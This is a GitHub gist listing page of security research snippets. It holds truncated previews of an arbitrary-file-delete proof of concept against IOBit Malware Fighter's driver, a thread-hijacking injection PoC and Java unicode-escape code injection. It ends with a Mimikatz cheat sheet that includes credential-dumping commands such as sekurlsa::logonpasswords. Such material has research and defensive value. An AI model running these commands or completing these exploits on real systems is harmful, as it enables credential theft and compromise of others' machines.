Skip to content

Instantly share code, notes, and snippets.

# probably exists in a better form; but script is useful for caching OS modules based on major OS version/build and file
# hash. intended to make life easier, ymmv.
#
# .\symcache.ps1 -src "C:\Windows\System32\drivers" -dst "X:\Windows\drivers"
# ^^ This will copy and organize the bins in the subdirectory and recurse through all subdirectories, and then download
# the symbols if they are available.
#
# - daax
param(
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "winmm.lib")
void Nothing(WORD wKey)
{
}
void PrintKey(WORD wKey)
@gavz
gavz / IOBitStillSucks.cpp
Created January 7, 2025 18:36 — forked from alfarom256/IOBitStillSucks.cpp
Arbitrary File Delete in IOBit Malware Fighter "Pro"
#include <Windows.h>
#include <stdio.h>
const wchar_t* wstrDummyFile = LR"(\??\C:\Windows\System32\kernelbase.dll)";
const char* strDeviceName = R"(\\.\IMFForceDelete123)";
int main() {
DWORD dwReturnVal = 0;
DWORD dwBytesReturned = 0;
BOOL bRes = FALSE;
@gavz
gavz / TROPH.c
Created December 30, 2024 20:59 — forked from UmaRex01/TROPH.c
Thread Hijacking without executable memory allocation PoC
/*
* Thread Hijacking without executable memory allocation PoC
*
* @UmaRex01
* https://medium.com/@umarex01/t-rop-h-thread-hijacking-without-executable-memory-allocation-d746c102a9ca
*/
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
@gavz
gavz / DynamicLibrary.cpp
Created December 17, 2024 20:25 — forked from Washi1337/DynamicLibrary.cpp
Injecting unconventional entry points in a .NET module. Blog post: https://washi.dev/blog/posts/entry-points/
#include <cstdio>
#include <windows.h>
VOID WINAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved)
{
puts("[DynamicLibrary.dll]: TLS Callback");
}
#ifdef _WIN64
#pragma comment (linker, "/INCLUDE:_tls_used")
@gavz
gavz / A.java
Created December 17, 2024 20:17 — forked from win3zz/A.java
Unicode escapes in Java are preprocessed before lexical analysis, they can break comments and inject code!
/**
* Description:
* You can decode the hidden message by running the program.
* Compile and execute: user@host:~$ javac A.java && java A
*
* @author Bipin Jitiya
* @since 2024-12-17
*/
class A {
public static void main(String[] args){
@gavz
gavz / reboot_dlink_nas.py
Created November 18, 2024 23:01 — forked from ronivaldo/reboot_dlink_nas.py
Dlink NAS 320L Restart
@gavz
gavz / prng.c
Created October 21, 2024 19:25 — forked from odzhan/prng.c
LCG and ICG
/**
LCG output...
lcg(1) : 40B2947B
lcg(2) : 73718F14
lcg(3) : 6203F04B
lcg(4) : 1BB91A70
lcg(5) : 0CFC23E0
ICG output...
icg(5) : 0CFC23E0
@gavz
gavz / Mimikatz-cheatsheet
Created October 19, 2024 20:32 — forked from insi2304/Mimikatz-cheatsheet
Mimikatz Cheat Sheet
#general
privilege::debug
log
log customlogfilename.log
#sekurlsa
sekurlsa::logonpasswords
sekurlsa::logonPasswords full